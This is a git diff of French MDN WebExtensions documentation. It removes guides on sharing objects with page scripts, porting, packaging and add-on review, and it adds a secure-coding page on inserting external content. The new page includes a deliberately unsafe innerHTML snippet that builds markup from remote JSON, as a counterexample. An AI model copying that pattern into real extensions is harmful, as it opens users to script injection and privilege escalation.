diff --git a/files/fr/mozilla/add-ons/webextensions/partage_d_objets_avec_des_scripts_de_page/index.html b/files/fr/mozilla/add-ons/webextensions/partage_d_objets_avec_des_scripts_de_page/index.html deleted file mode 100644 index 81ac2d7584..0000000000 --- a/files/fr/mozilla/add-ons/webextensions/partage_d_objets_avec_des_scripts_de_page/index.html +++ /dev/null @@ -1,258 +0,0 @@ ---- -title: Partage d'objets avec des scripts de page -slug: Mozilla/Add-ons/WebExtensions/partage_d_objets_avec_des_scripts_de_page -tags: - - Add-ons - - Extensions - - Firefox - - Guide - - Mozilla - - Non-standard - - WebExtensions - - XPCOM - - script de contenu - - scripts de page -translation_of: Mozilla/Add-ons/WebExtensions/Sharing_objects_with_page_scripts ---- -
{{AddonSidebar}} -
-

Les techniques décrites dans cette section sont uniquement disponibles dans Firefox, et seulement à partir de Firefox 49

-
- -
-

En tant que développeur d'extensions, vous devez considérer que les scripts s'exécutant sur des pages Web arbitraires sont des codes hostiles dont le but est de voler les informations personnelles de l'utilisateur, d'endommager leur ordinateur ou de les attaquer d'une autre manière.

- -

L'isolation entre les scripts de contenu et les scripts chargés par les pages Web a pour but de rendre plus difficile la tâche des pages Web hostiles.

- -

Puisque les techniques décrites dans cette section décompose cet isolement, elles sont intrinsèquement dangereuses et devraient être utilisées avec beaucoup de soin.

-
-
- -

Comme les notes du guide de scripts de contenu, les scripts de contenu ne voient pas les modifications apportées au DOM par des scripts chargés par des pages Web.Cela signifie que, par exemple, si une page Web charge une bibliothèque comme jQuery, les scripts de contenu ne pourront pas l'utiliser et devront charger leur propre copie. À l'inverse, les scripts chargés par les pages Web ne peuvent pas voir les modifications apportées par les scripts de contenu.

- -

Cependant, Firefox fournit des API qui permettent aux scripts de contenu de :

- -
    -
  • accéder aux objets JavaScript créés par les scripts de page
    • -
  • exposer leurs propres objets JavaScript aux scripts de pages.
    • -
- -

Vision Xray dans Firefox

- -

Dans Firefox, une partie de l'isolation entre les scripts de contenu et les scripts de pages est implémentée en utilisant une fonction appelée "Vision Xray". Lorsqu'un script dans une portée plus privilégiée accède à un objet défini dans une portée moins privilégiée, il ne voit que la "version native" de l'objet. Toutes les propriétés expando sont invisibles et si des propriétés de l'objet ont été redéfinies, il voit l'implémentation d'origine et non la version redéfinie.

- -

Le but de cette fonctionnalité est de rendre le script moins privilégié plus difficile à confondre le script plus privilégié en redéfinissant les propriétés natives des objets.

- -

Par exemple, lorsqu'un script de contenu accède à la fenêtre de la page, il ne voit aucune propriété ajoutée au script de la page, et si le script de la page a redéfini les propriétés de la fenêtre, le script de contenu verra la version originale .

- -

Pour l'histoire complète sur la vision Xray, voir les articles sur Vision Xray et la securité des Scripts.

- -

Accès aux objets de script de page à partir de scripts de contenu

- -

Dans Firefox, les objets DOM dans les scripts de contenu obtiennent une propriété supplémentaire wrappedJSObject. C'est une version "déballée" de l'objet, qui inclut toutes les modifications apportées à cet objet par les scripts de page.

- -

Prenons un exemple simple. Supposons qu'une page Web charge un script:

- -
<!DOCTYPE html>
-<html>
-  <head>
-    <meta charset="UTF-8">
-  </head>
-  <body>
-    <script type="text/javascript" src="main.js"></script>
-  </body>
-</html>
- -

Le script ajoute une propriété expando à la fenêtre globale :

- -
// main.js
-
-var foo = "I'm defined in a page script!";
- -

La vision Xray signifie que si un script de contenu tente d'accéder à foo, il sera indéfini:

- -
// content-script.js
-
-console.log(window.foo); // undefined
- -

Dans Firefox, les scripts de contenu peuvent utiliser window.wrappedJSObject pour voir la propriété expando :

- -
// content-script.js
-
-console.log(window.wrappedJSObject.foo); // "I'm defined in a page script!"
- -

Notez qu'une fois que vous faites cela, vous ne pouvez plus compter sur les propriétés ou les fonctions de cet objet qui sont, ou font, ce que vous attendez. N'importe lequel d'entre eux, même les setters et les getters, aurait pu être redéfini par un code non fiable.

- -

Notez également que le déballage est transitif: lorsque vous utilisez wrappedJSObject, toutes les propriétés de l'objet déplié sont elles-mêmes dépliées (et donc peu fiables). C'est donc une bonne pratique, une fois que vous avez l'objet dont vous avez besoin, de le réemballer, ce que vous pouvez faire comme ceci:

- -
XPCNativeWrapper(window.wrappedJSObject.foo);
- -

voir le document vision Xray pour plus de détails à ce sujet.

- -

Partage d'objets de script de contenu avec des scripts de page

- -

Firefox fournit également des API permettant aux scripts de contenu de rendre les objets disponibles pour les scripts de page. Il y a plusieurs approches ici:

- -
    -
  • exportFunction(): exporte une fonction vers des scripts de page
    • -
  • cloneInto(): exporte un objet vers des scripts de page.
    • -
  • constructeurs du contexte de la page
    • -
- -

exportFunction

- -

Étant donné une fonction définie dans le script de contenu, exportFunction() l'exporte vers la portée du script de page, afin que le script de page puisse l'appeler.

- -

Par exemple, considérons une extension qui a un script d'arrière-plan comme ceci :

- -
/*
-Execute content script in the active tab.
-*/
-function loadContentScript() {
-  browser.tabs.executeScript({
-    file: "/content_scripts/export.js"
-  });
-}
-
-/*
-Add loadContentScript() as a listener to clicks
-on the browser action.
-*/
-browser.browserAction.onClicked.addListener(loadContentScript);
-
-/*
-Show a notification when we get messages from
-the content script.
-*/
-browser.runtime.onMessage.addListener((message) => {
-  browser.notifications.create({
-    type: "basic",
-    title: "Message from the page",
-    message: message.content
-  });
-});
- -

Cela fait deux choses :

- -
    -
  • exécuter un script de contenu dans l'onglet en cours, lorsque l'utilisateur clique sur une action du navigateur
    • -
  • écouter les messages du script de contenu et afficher une notification  lorsque le message arrive.
    • -
- -

Le script de contenu ressemble à ceci :

- -
/*
-Define a function in the content script's scope, then export it
-into the page script's scope.
-*/
-function notify(message) {
-  browser.runtime.sendMessage({content: "Function call: " + message});
-}
-
-exportFunction(notify, window, {defineAs:'notify'});
- -

Cela définit une fonction notify(), qui envoie simplement son argument au script d'arrière-plan. Il exporte ensuite la fonction vers la portée du script de page. Maintenant, le script de la page peut appeler cette fonction:

- -
window.notify("Message from the page script!");
- -

Pour l'histoire complète, voir Components.utils.exportFunction.

- -

cloneInto

- -

Étant donné un objet défini dans le script de contenu, cela crée un clone de l'objet dans la portée du script de page, rendant ainsi le clone accessible aux scripts de page. Par défaut, cela utilise l'agorithme clone structuré pour cloner l'objet, ce qui signifie que les fonctions de l'objet ne sont pas incluses dans le clone. Pour inclure des fonctions, passez l'option cloneFunctions.

- -

Par exemple, voici un script de contenu qui définit un objet contenant une fonction, puis le clone dans la portée du script de page :

- -
/*
-Create an object that contains functions in
-the content script's scope, then clone it
-into the page script's scope.
-
-Because the object contains functions,
-the cloneInto call must include
-the `cloneFunctions` option.
-*/
-var messenger = {
-  notify: function(message) {
-    browser.runtime.sendMessage({
-      content: "Object method call: " + message
-    });
-  }
-};
-
-window.wrappedJSObject.messenger = cloneInto(
-  messenger,
-  window,
-  {cloneFunctions: true});
- -

Maintenant les scripts de page vont voir une nouvelle propriété sur la fenêtre, messenger, qui a une fonction notify():

- -
window.messenger.notify("Message from the page script!");
- -

Pour l'histoire complète, voir Components.utils.cloneInto.

- -

Constructeurs du contexte de la page

- -

Sur l'objet fenêtre de xrayed, des constructeurs immaculés pour certains objets javascript intégrés tels que Object, Function ou Proxy et différentes classe DOM sont disponibles. XMLHttpRequest ne se comporte pas de cette manière, voir la section XHR and fetch pour plus de détails. Ils créeront des instances appartenant à la hiérarchie d'objets de la page global, puis retourneront un wrapper xray.

- -

Puisque les objets créés de cette manière appartiennent déjà à la page et que le script de contenu ne les renvoie pas à la page, il ne nécessitera pas de clonage ou d'exportation supplémentaire.

- -
/* javascript built-ins */
-
-const objA = new Object();
-const objB = new window.Object();
-
-console.log(
-  objA instanceof Object,                        // true
-  objB instanceof Object,                        // false
-  objA instanceof window.Object,                 // false
-  objB instanceof window.Object,                 // true
-  'wrappedJSObject' in objB                      // true; xrayed
-);
-
-objA.foo = "foo";
-objB.foo = "foo";                                // xray wrappers for plain javascript objects pass through property assignments
-objB.wrappedJSObject.bar = "bar";                // unwrapping before assignment does not rely on this special behavior
-
-window.wrappedJSObject.objA = objA;
-window.wrappedJSObject.objB = objB;              // automatically unwraps when passed to page context
-
-window.eval(`
-  console.log(objA instanceof Object);           // false
-  console.log(objB instanceof Object);           // true
-
-  console.log(objA.foo);                         // undefined
-  objA.baz = "baz";                              // Error: permission denied
-
-  console.log(objB.foo, objB.bar);               // "foo", "bar"
-  objB.baz = "baz";
-`);
-
-/* other APIs */
-
-const ev = new Event("click");
-
-console.log(
-  ev instanceof Event,                           // true
-  ev instanceof window.Event,                    // true; Event constructor is actually inherited from the xrayed window
-  'wrappedJSObject' in ev                        // true; is an xrayed object
-);
-
-ev.propA = "propA"                                // xray wrappers for native objects do not pass through assignments
-ev.propB = "wrapper";                             // define property on xray wrapper
-ev.wrappedJSObject.propB = "unwrapped";           // define same property on page object
-Reflect.defineProperty(ev.wrappedJSObject,        // privileged reflection can operate on less privileged objects
-  'propC', {
-     get: exportFunction(function() {             // getters must be exported like regular functions
-       return 'propC';
-     }
-  }
-);
-
-window.eval(`
-  document.addEventListener("click", (e) => {
-    console.log(e instanceof Event, e.propA, e.propB, e.propC);
-  });
-`);
-
-document.dispatchEvent(ev); // true, undefined, "unwrapped", "propC"
diff --git a/files/fr/mozilla/add-ons/webextensions/portage_d_une_extension_firefox_heritee/index.html b/files/fr/mozilla/add-ons/webextensions/portage_d_une_extension_firefox_heritee/index.html deleted file mode 100644 index 5227fba14b..0000000000 --- a/files/fr/mozilla/add-ons/webextensions/portage_d_une_extension_firefox_heritee/index.html +++ /dev/null @@ -1,85 +0,0 @@ ---- -title: Portage d'une extension Firefox héritée -slug: Mozilla/Add-ons/WebExtensions/Portage_d_une_extension_Firefox_heritee -tags: - - WebExtensions -translation_of: Mozilla/Add-ons/WebExtensions/Porting_a_legacy_Firefox_add-on ---- -
{{AddonSidebar}}
- -

Si vous avez développé une extension Firefox en utilisant une technologie héritée en utilisant XUL/XPCOM ou le kit d'extensions, cette page vous aidera à migrer votre extension pour utiliser les API WebExtensions. La norme pour créer des extensions pour Firefox consiste à utiliser les API WebExtensions. Ce sera le seul type d'extension pris en charge par Firefox d'ici la fin du mois de novembre 2017 avec la sortie de Firefox 57.

- -
-

La prise en charge des extensions utilisant XUL/XPCOM ou le SDK Add-on a été supprimée dans Firefox 57, publié en novembre 2017. Comme il n'y a pas de version supportée de Firefox permettant ces technologies, cette page sera supprimée d'ici décembre 2020.

-
- -

Démarrage rapide

- -
    -
  1. Obtenez une idée des principales choses que vous devrez modifier dans votre extension : - -
    2. -
  2. Réécrivez le code de votre extension. Voir ci-dessous les chemins de migration pour différents types d'extensions. A partir de Firefox 51, vous pouvez intégrer une extension construite à l'aide d'API WebExtension dans une extension bootstrap ou une extension SDK, et peut donc porter une extension héritée une pièce à la fois et avoir une extension fonctionnelle à chaque étape. Consultez  Embedded WebExtensions.
    3. -
  3. Lorsque vous êtes prêt à soumettre la version WebExtension de votre extension à AMO... attendez une minute... êtes-vous vraiment prêt ? En raison du modèle de permissions d'extensions, vous ne pouvez pas revenir de WebExtensions à l'utilisation d'un format d'extension hérité. Donc tester bien, car il s'agit d'un aller simple permanent. Consultez également l'exemple hybride ci-dessous. Si vous n'êtes pas prêt, vous pouvez intégrer votre WebExtension dans un conteneur d'extension existant, ce qui vous permet de tester votre migration d'extension mais encore de revenir si nécessaire en cas d'urgence.
    4. -
  4. Lorsque vous êtes vraiment prêt à soumettre la version WebExtension de votre extension à AMO, connectez d'abord votre ancienne ID d'extension au nouveau fichier manifest.json de WebExtension. Votre extension doit avoir le même ID que les versions précédentes. Copiez la valeur dans le champ "id" de votre fichier package.json dans le champ id dans la section des applications du fichier manifest.json WebExtension. Ensuite, vous pouvez soumettre votre mise à jour de l'extension à AMO comme vous le feriez normalement.
    5. -
- -
-

Notez qu'il s'agit d'une conversion unidirectionnelle: vous ne pouvez pas mettre à jour une WebExtension pour utiliser une technologie héritée. Cela signifie que vous devez être sûr que vous êtes prêt à vous engager aux WebExtensions avant de soumettre la mise à jour de l'extension à AMO.

-
- -

Chemin de migration

- -


- SDK Extensions

- -

Voici le tableau de comparaison montrant les APIs SDK et leurs homologues de format WebExtensions. Si vous ne voyez pas les API dont vous avez besoin pour utiliser les APIs  WebExtensions,  consultez ci-dessous pour savoir comment demander des API et aussi comment les implémenter.

- -

XUL/XPCOM Extensions

- -

Voici le tableau de comparaison montrant les APIs XUL/XPCOM et leurs homologues de format WebExtensions. Si vous ne voyez pas les API dont vous avez besoin pour utiliser les APIs  WebExtension, consultez ci-dessous pour savoir comment demander des API et aussi comment les implémenter.

- -

Vous ne trouvez pas les APIs WebExtensions dont vous avez besoin ?

- -

Développez les APIs WebExtension pour Firefox - Si vous êtes expérimenté avec l'infrastructure Mozilla et souhaitez développer des API WebExtensions directement pour Firefox, voici une liste d' APIs approuvées que vous pouvez commencer à contribuer.

- -

Expérimentez avec les nouvelles APIs WebExtension - Si vous souhaitez créer un prototype et un bricolage avec les API WebExtensions sans avoir à créer Firefox, les Expériences WebExtensions sont pour vous !

- -

Demandez une nouvelle API WebExtensions - Si vous souhaitez demander une nouvelle API WebExtensions, lisez cette page.

- -

Outils

- -
    -
  • web-ext st un outil de ligne de commande conçu pour accélérer diverses parties du processus de développement d'extension, rendant le développement plus rapide et plus facile.
    • -
  • Lookup tool pour vérifier votre type d'extension et obtenir des recommandations sur les ressources de portage
    • -
  • WebExtensions Helper accélère le développement de l'extension du navigateur en fournissant des utilitaires pour les extensions basées sur WebExtensions (Firefox, Chrome, Opera and Edge)
    • -
  • Chrome Extension generator crée tout ce dont vous avez besoin pour commencer avec le développement de l'extension. Vous pouvez choisir l'interface utilisateur du navigateur (Browser,Page Action, Omnibox) et sélectionner les permissions dont vous avez besoin.
    • -
  • Extensionizr est un assistant qui vous aide à créer une extension simple
    • -
  • Chrome Boilerplate est un code de référence pour Chrome WebExtension.
    • -
  • Skeleton Chrome Extension est une extension bootstrap et un modèle
    • -
- -

Documentation

- - - -

Contact

- -
    -
  • -

    Vous pouvez utiliser les liens ici pour obtenir de l'aide, vous tenir à jour avec les nouvelles des add-ons, et nous donner des commentaires.

    -
    • -
diff --git a/files/fr/mozilla/add-ons/webextensions/publishing_your_webextension/index.html b/files/fr/mozilla/add-ons/webextensions/publishing_your_webextension/index.html deleted file mode 100644 index 8f50b00eaf..0000000000 --- a/files/fr/mozilla/add-ons/webextensions/publishing_your_webextension/index.html +++ /dev/null @@ -1,58 +0,0 @@ ---- -title: Publier votre extension -slug: Mozilla/Add-ons/WebExtensions/Publishing_your_WebExtension -tags: - - WebExtensions -translation_of: Mozilla/Add-ons/WebExtensions/Package_your_extension_ ---- -
{{AddonSidebar}}
- -
-
-

Les extensions packagées dans Firefox sont appelées "fichiers XPI", qui sont des fichiers ZIP avec une extension différente.

- -

Vous n'avez pas besoin d'utiliser l'extension XPI lors du téléchargement vers AMO.

-
-
- -

Pendant le développement, votre extension sera constituée d'un répertoire contenant un fichier manifest.json et les autres fichiers dont elle a besoin : scripts, icônes, documents HTML, etc. Vous devez les zipper dans un seul fichier pour les télécharger vers AMO.

- -

La façon la plus pratique de compiler votre extension est d'utiliser la  build web-ext. Cet outil exclut automatiquement les fichiers qui sont généralement indésirables dans les paquets, comme les fichiers .git . Sinon, suivez les instructions ci-dessous pour le système d'exploitation.

- -
-

Astuce. Le fichier ZIP doit être un fichier ZIP des fichiers de l'extension elle-même, et non du répertoire qui les contient.

-
- -

Windows

- -
    -
  1. Ouvrez le répertoire contenant les fichiers de votre extension.
    2. -
  2. Sélectionnez tous les fichiers et répertoires nécessaires pour implémenter votre extension, excluez les fichiers qui ne sont pas nécessaires pour exécuter l'extension, tels que .git, les sources graphiques et les fichiers similaires.
    3. -
  3. Ouvrez le menu contextuel et cliquez sur Envoyer dans le dossier compressé (zipped).
    4. -
- -

Illustration of how to use the send to compress folder feature in File Explorer to create a web extension package.

- -

macOS

- -
    -
  1. Ouvrez le répertoire contenant les fichiers de votre extension.
    2. -
  2. Sélectionnez tous les fichiers et répertoires nécessaires pour implémenter votre extension, excluez les fichiers qui ne sont pas nécessaires pour exécuter l'extension, tels que .git, les sources graphiques et les fichiers similaires.
    3. -
  3. Ouvrez le menu contextuel et cliquez Compress n éléments.
    4. -
- -

Illustration of how to use the compress feature in Finder to create a web extinction package.

- -
-
Voir http://www.info-zip.org/mans/zip.html.
-
- -

Linux / macOS Terminal

- -
    -
  1. Ouvrir un Terminal.
    2. -
  2. Ouvrez le répertoire contenant les fichiers de votre extension, en utilisant la commande
    - cd path/to/my-extension/
    3. -
  3. ZIPez le contenu du répertoire en vous souvenant d'exclure les fichiers qui ne sont pas nécessaires à l'exécution de l'extension, tels que .git, les sources graphiques, et les fichiers similaires - en utilisant la commande
    - zip -r -FS ../my-extension.zip * --exclude *.git*
    4. -
diff --git a/files/fr/mozilla/add-ons/webextensions/que_faire_ensuite/index.html b/files/fr/mozilla/add-ons/webextensions/que_faire_ensuite/index.html deleted file mode 100644 index aabc4dccba..0000000000 --- a/files/fr/mozilla/add-ons/webextensions/que_faire_ensuite/index.html +++ /dev/null @@ -1,72 +0,0 @@ ---- -title: Que faire ensuite ? -slug: Mozilla/Add-ons/WebExtensions/que_faire_ensuite -tags: - - Débutant - - Extensions - - WebExtension -translation_of: Mozilla/Add-ons/WebExtensions/What_next_ ---- -
{{AddonSidebar}}
- -

Vous serez maintenant prêt à commencer à transformer votre idée pour une extension de navigateur dans la réalité. Avant de commencer ce périple, ça vaut la peine d'être au courant de quelques choses  qui vous aides à en faire une.

- -

Vous pouvez trouver plus d'informations sur de nombreux sujets abordés sur cette page sur l'atelier d'extension, un site web dédié à vous aider à écrire, tester, publier et distribuer des extensions pour Firefox.

- -

Votre environnement de développement

- -

Vous n'avez pas besoin d'outils spéciaux de développement ou de création d'environnement pour créer des extensions de navigateur : il est tout à fait possible de créer de superbes extensions de navigateur avec un simple éditeur de texte. Cependant, vous avez peut-être développé pour le Web et avez un ensemble d'outils et un environnement que vous souhaitez réutiliser. Si vous le faites, vous devez être conscient de certaines choses.

- -

Si vous utilisez des outils de minimisation ou d'obscurcissement pour fournir votre code final, vous devez fournir votre code source au processus de révision AMO. De plus, les outils que vous utilisez — minification, obscurcissement et construction — doivent être open source (ou offrir une utilisation gratuite illimitée) et être disponible pour fonctionner sur l'ordinateur de l'utilisateur  (Windows, Mac, ou Linux). Malheureusement, nos réviseurs ne peuvent pas travailler avec des outils commerciaux ou basés sur le Web.

- -

En savoir plus sur les outils de développement sur l'atelier d'extensions

- -

Bibliothèques tierces

- -

Les bibliothèques tierces sont un excellent moyen d'ajouter rapidement des fonctionnalités ou fonctionnalités complexes aux extensions de votre navigateur. Lorsque vous soumettez une extension au processus de révision AMO, le processus considère également les bibliothèques tierces utilisées. Pour rationaliser la révision, assurez-vous de toujours télécharger des bibliothèques tierces à partir de leur site Web officiel ou référentiel, et si la bibliothèque est minifiée, fournissez un lien vers le code source. Veuillez noter que les bibliothèques tierces ne peuvent être modifiées d'aucune façon.

- -

En savoir plus sur la soumission du code source sur l'atelier d'extensions

- -

L'accord de distribution des modules complémentaires de   Firefox

- -

Les extensions de navigateur doivent être signées pour être installées dans les réalisations ou versions bêta de Firefox. La signature a lieu dans addons.mozilla.org (AMO) et est soumise aux termes et conditions du contrat de distribution de Firefox Add-on. L'objectif de l'accord est de garantir que les utilisateurs de Firefox aient accès à des modules complémentaires de qualité et bien supportés qui améliorent l'expérience de Firefox.

- -

Lire l'accord sur l'atelier d'extensions

- -

En savoir plus sur la signature de l'atelier extensions

- -

Le processus d'examen

- -

Lorsqu'une extension de navigateur est soumise à la signature, elle fait l'objet d'un examen automatisé. Il peut également faire l'objet d'un examen manuel lorsque l'examen automatisé détermine qu'un examen manuel est nécessaire. L'extension de votre navigateur ne sera pas signée tant qu'elle ne sera pas approuvée automatiquement et que sa signature sera révoquée si elle échoue à l'examen manuel. Le processus de révision suit un ensemble de directives strictes, il est donc facile de vérifier et d'éviter tout problème de révision probable.

- -

Consultez la politique de révision et les lignes directrices sur l'atelier d'extensions

- -

AMO a présenté des extensions de navigateur

- -

Si vous choisissez de lister l'extension de votre navigateur sur AMO, votre extension pourrait figurer sur le site Web d'AMO, dans le gestionnaire de modules complémentaires du navigateur Firefox ou ailleurs sur un site Web de Mozilla. Nous avons compilé une liste de directives sur la manière dont les extensions sont sélectionnées pour être mises en avant. En suivant ces directives, vous donnez à votre extension les meilleures chances d'être sélectionnée.

- -

En savoir plus sur la  façon de faire figurer vos modules complémentaires dans l'atelier d'extension

- -

Continuez votre expérience d'apprentissage

- -

Maintenant, vous savez ce qui nous attend, il est temps de plonger dans plus de détails sur le développement de l'extension du navigateur. Dans les sections suivantes, vous découvrirez :

- -
    -
  • En savoir plus sur les concepts fondamentaux des extensions de navigateur, en commençant par les détails sur l'utilisation des APIs Javascript.
    • -
  • Un guide des composants de l'interface utilisateur disponibles pour les extensions de votre navigateur.
    • -
  • Une collection de guides pratiques sur la réalisation des tâches clés dans vos extensions ou l'utilisation des API JavaScript.
    • -
  • Un guide de référence complet sur les APIs JavaScript.
    • -
  • Un guide de référence complet sur les clés du manifeste.
    • -
- -

Vous voudrez également vous rendre à l'Atelier des extensions où vous trouverez tout ce que vous devez savoir sur la création d'extensions pour Firefox, notamment :

- - diff --git a/files/fr/mozilla/add-ons/webextensions/que_signifie_le_rejet_d_une_revision_pour_les_utilisateurs/index.html b/files/fr/mozilla/add-ons/webextensions/que_signifie_le_rejet_d_une_revision_pour_les_utilisateurs/index.html deleted file mode 100644 index df7532390b..0000000000 --- a/files/fr/mozilla/add-ons/webextensions/que_signifie_le_rejet_d_une_revision_pour_les_utilisateurs/index.html +++ /dev/null @@ -1,44 +0,0 @@ ---- -title: Que signifie le rejet d'une révision pour les utilisateurs ? -slug: >- - Mozilla/Add-ons/WebExtensions/que_signifie_le_rejet_d_une_revision_pour_les_utilisateurs -tags: - - Add-ons - - Extensions - - Guide - - Review - - WebExtensions - - publication -translation_of: Mozilla/Add-ons/WebExtensions/What_does_review_rejection_mean_to_users ---- -

{{AddonSidebar}}

- -

Cet article explique comment les utilisateurs et les personnes à la recherche de votre extension sont affectés si vous obtenez un rejet du processus de révision Mozilla.

- -

Aperçu de l'examen

- -

Toute extension que vous soumettez à addons.mozilla.org (AMO) fait l'objet de deux évaluations. Il y a une validation machine de votre extension dans le cadre du flux de soumission, et un examen humain qui a lieu après la publication de votre extension.

- -

La validation de la machine vous indique immédiatement si quelque chose doit être corrigé pour permettre la publication de votre extension. L'examen humain a lieu après la publication et peut avoir lieu à tout moment. Au début de cet examen, l'examinateur peut demander des éclaircissements au sujet de votre prolongation. Le résultat de l'examen pourrait être le rejet de la dernière version de votre extension, et le rejet des versions antérieures non révisées si elles contiennent également des problèmes.

- -

Pour plus d'informations sur ces processus, voir Soumission d'un add-on et de la politiques Add-on.

- -

Incidence du rejet de l'examen

- -

Si votre prolongation est rejetée par l'examen humain :

- -
    -
  • Vous recevez un courriel expliquant la raison du rejet et les mesures que vous devez prendre pour corriger les problèmes identifiés.
    • -
  • Si une version antérieure de votre extension est publique, celle-ci devient celle vue par les visiteurs d'AMO.
    • -
  • S'il n'y a pas de version publique de votre poste à afficher, l'inscription de votre poste sur AMO est suspendue. Cela signifie que votre extension n'apparaît plus dans aucune liste sur AMO et ne sera plus retournée dans les résultats des recherches effectuées par les visiteurs AMO. Si quelqu'un suit un lien externe vers votre liste d'extensions, il arrivera à une page 404.
    • -
- -

Les personnes qui ont installé votre extension ne remarqueront aucun changement suite au rejet de la révision ; elles pourront continuer à utiliser votre extension comme d'habitude.

- -

Liste de blocage

- -

La liste de blocage est un mécanisme qui permet à Mozilla d'empêcher l'utilisation d'une extension dans Firefox (un bloc dur) ou de demander aux utilisateurs de confirmer qu'ils souhaitent exécuter l'extension (un bloc mou).

- -

Si vous ne répondez pas à la rétroaction d'examen et ne corrigez pas rapidement les problèmes, votre prolongation pourrait être considérée pour l'inscription sur la liste de blocage, particulièrement si les problèmes identifiés ont trait à des vulnérabilités critiques en matière de sécurité, de stabilité ou de rendement. Cependant, si votre extension est délibérément malveillante ou abusive, elle peut être bloquée sans notification.

- -

Pour plus d'informations sur la liste de blocage, voir Liste de blocage dans le wiki Mozilla.

diff --git a/files/fr/mozilla/add-ons/webextensions/safely_inserting_external_content_into_a_page/index.html b/files/fr/mozilla/add-ons/webextensions/safely_inserting_external_content_into_a_page/index.html new file mode 100644 index 0000000000..2365874169 --- /dev/null +++ b/files/fr/mozilla/add-ons/webextensions/safely_inserting_external_content_into_a_page/index.html @@ -0,0 +1,103 @@ +--- +title: Insérer en toute sécurité du contenu externe dans une page +slug: >- + Mozilla/Add-ons/WebExtensions/inserer_en_toute_securite_du_contenu_externe_dans_une_page +tags: + - Add-ons + - Comment + - Débutant + - Extensions + - How-to + - Sécurité + - WebExtensions +translation_of: Mozilla/Add-ons/WebExtensions/Safely_inserting_external_content_into_a_page +--- +

{{AddonSidebar}}

+ +

Il y a des moments où vous pourriez vouloir ou devez inclure du contenu d'une source externe dans votre extension. Cependant, il existe un risque que des scripts malveillants soient intégrés à la source, soit par le développeur de la source, soit par une tierce partie malveillante.

+ +

Prenez un lecteur RSS à titre d'exemple. Vous ne savez pas quels flux RSS votre extension va ouvrir et n'ont aucun contrôle sur le contenu de ces flux RSS. Ainsi, il est possible que l'utilisateur puisse s'abonner à un flux où, par exemple, le titre d'un élément de fil inclut un script. Cela pourrait être quelque chose d'aussi simple que d'inclure du code JavaScript dans les balises <script></script>. Si vous deviez extraire le titre, supposer qu'il s'agissait d'un texte brut et l'ajouter au DOM d'une page créée par votre extension, votre script a maintenant un script inconnu dans son navigateur. Par conséquent, il faut prendre soin d'éviter d'évaluer du texte arbitraire au format HTML.

+ +

Vous devez également vous souvenir que les extensions ont des contextes privilégiés, par exemple dans les scripts d'arrière-plan et les scripts de contenu. Dans le pire des cas, un script incorporé peut s'exécuter dans l'un de ces contextes, une situation connue sous le nom d'escalade de privilèges. Cette situation peut laisser le navigateur d'un utilisateur ouvert à une attaque à distance en permettant au site Web qui a injecté le code d'accéder à des données utilisateur critiques, telles que des mots de passe, l'historique du navigateur ou le comportement de navigation.

+ +

Cet article examine comment travailler en toute sécurité avec des données distantes et l'ajouter à un DOM.

+ +

Travailler avec des chaînes arbitraires

+ +

Lorsque vous travaillez avec des chaînes, il existe quelques options recommandées pour les ajouter en toute sécurité à une page : les méthodes de création de nœuds DOM standard ou jQuery.

+ +

Méthodes de création de noeud DOM

+ +

Une approche légère pour insérer des chaînes dans une page consiste à utiliser les méthodes de manipulation DOM natives : document.createElement, Element.setAttribute, et Node.textContent. L'approche sécurisée consiste à créer les nœuds séparément et à affecter leur contenu à l'aide de textContent :

+ +
var data = JSON.parse(responseText);
+var div = document.createElement("div");
+div.className = data.className;
+div.textContent = "Your favorite color is now " + data.color;
+addonElement.appendChild(div);
+ +

Cette approche est sûre car l'utilisation de .textContent échappe automatiquement à tout code HTML distant dans data.color.

+ +

Cependant, attention, vous pouvez utiliser des méthodes natives qui ne sont pas sécurisées. Prenez le code suivant :

+ +
var data = JSON.parse(responseText);
+addonElement.innerHTML = "<div class='" + data.className + "'>" +
+                         "Your favorite color is now " + data.color +
+                         "</div>";
+ +

Ici, le contenu de data.className ou de data.color peut contenir du HTML qui peut fermer le tag plus tôt, insérer du contenu HTML arbitraire, puis ouvrir une autre balise.

+ +

jQuery

+ +

Lors de l'utilisation de jQuery, des fonctions telles que attr() et text() échappent au contenu lorsqu'il est ajouté à un DOM. Ainsi, l'exemple de "couleur préférée" ci-dessus, implémenté dans jQuery, ressemblerait à ceci:

+ +
var node = $("</div>");
+node.addClass(data.className);
+node.text("Your favorite color is now " + data.color);
+ +

Travailler avec du contenu HTML

+ +

Lorsque vous travaillez avec du contenu de source externe dont vous savez qu'il s'agit du code HTML, il est essentiel de nettoyer le code HTML avant de l'ajouter à une page. La meilleure pratique pour désinfecter le code HTML consiste à utiliser une bibliothèque de nettoyage HTML ou un moteur de modèle avec des fonctionnalités de nettoyage HTML. Dans cette section, nous examinons certains outils appropriés et comment les utiliser.

+ +

Désinfection HTML

+ +

Une bibliothèque de nettoyage HTML désactive tout ce qui pourrait conduire à l'exécution de scripts à partir du HTML, de sorte que vous pouvez injecter en toute sécurité des ensembles complets de nœuds HTML à partir d'une source distante dans votre DOM. DOMPurify, qui a été examiné par divers experts en sécurité, est une bibliothèque appropriée pour cette tâche dans les extensions.

+ +

Pour l'utilisation en production, DOMPurify cest disponible en version minifiée : purify.min.js. Vous pouvez utiliser ce script de la manière qui convient le mieux à votre extension. Par exemple, vous pouvez l'ajouter en tant que script de contenu :

+ +
"content_scripts": [
+  {
+    "matches" : ["<all_urls>"],
+    "js": ["purify.min.js", "myinjectionscript.js"]
+  }
+]
+ +

Ensuite, dans myinjectionscript.js, vous pouvez lire le code HTML externe, le désinfecter et l'ajouter au DOM d'une page :

+ +
var elem = document.createElement("div");
+var cleanHTML = DOMPurify.sanitize(externalHTML);
+elem.innerHTML = cleanHTML;
+ +

Vous pouvez utiliser n'importe quelle méthode pour ajouter le HTML aseptisé à votre DOM, par exemple la fonction .html() de jQuery’s. Souvenez-vous cependant que le drapeau SAFE_FOR_JQUERY doit être utilisé dans ce cas :

+ +
var elem = $("<div/>");
+var cleanHTML = DOMPurify.sanitize(externalHTML, { SAFE_FOR_JQUERY: true });
+elem.html(cleanHTML);
+ +

Moteur de modèle

+ +

Un autre modèle courant consiste à créer un modèle HTML local pour une page et à utiliser des valeurs distantes pour remplir les blancs. Bien que cette approche soit généralement acceptable, il faut éviter d'utiliser des constructions qui permettraient l'insertion de code exécutable. Cela peut se produire lorsque le moteur de création de modèles utilise des constructions qui insèrent du code HTML brut dans le document. Si la variable utilisée pour insérer le code HTML brut est une source distante, elle est soumise au même risque de sécurité mentionné dans l'introduction.

+ +

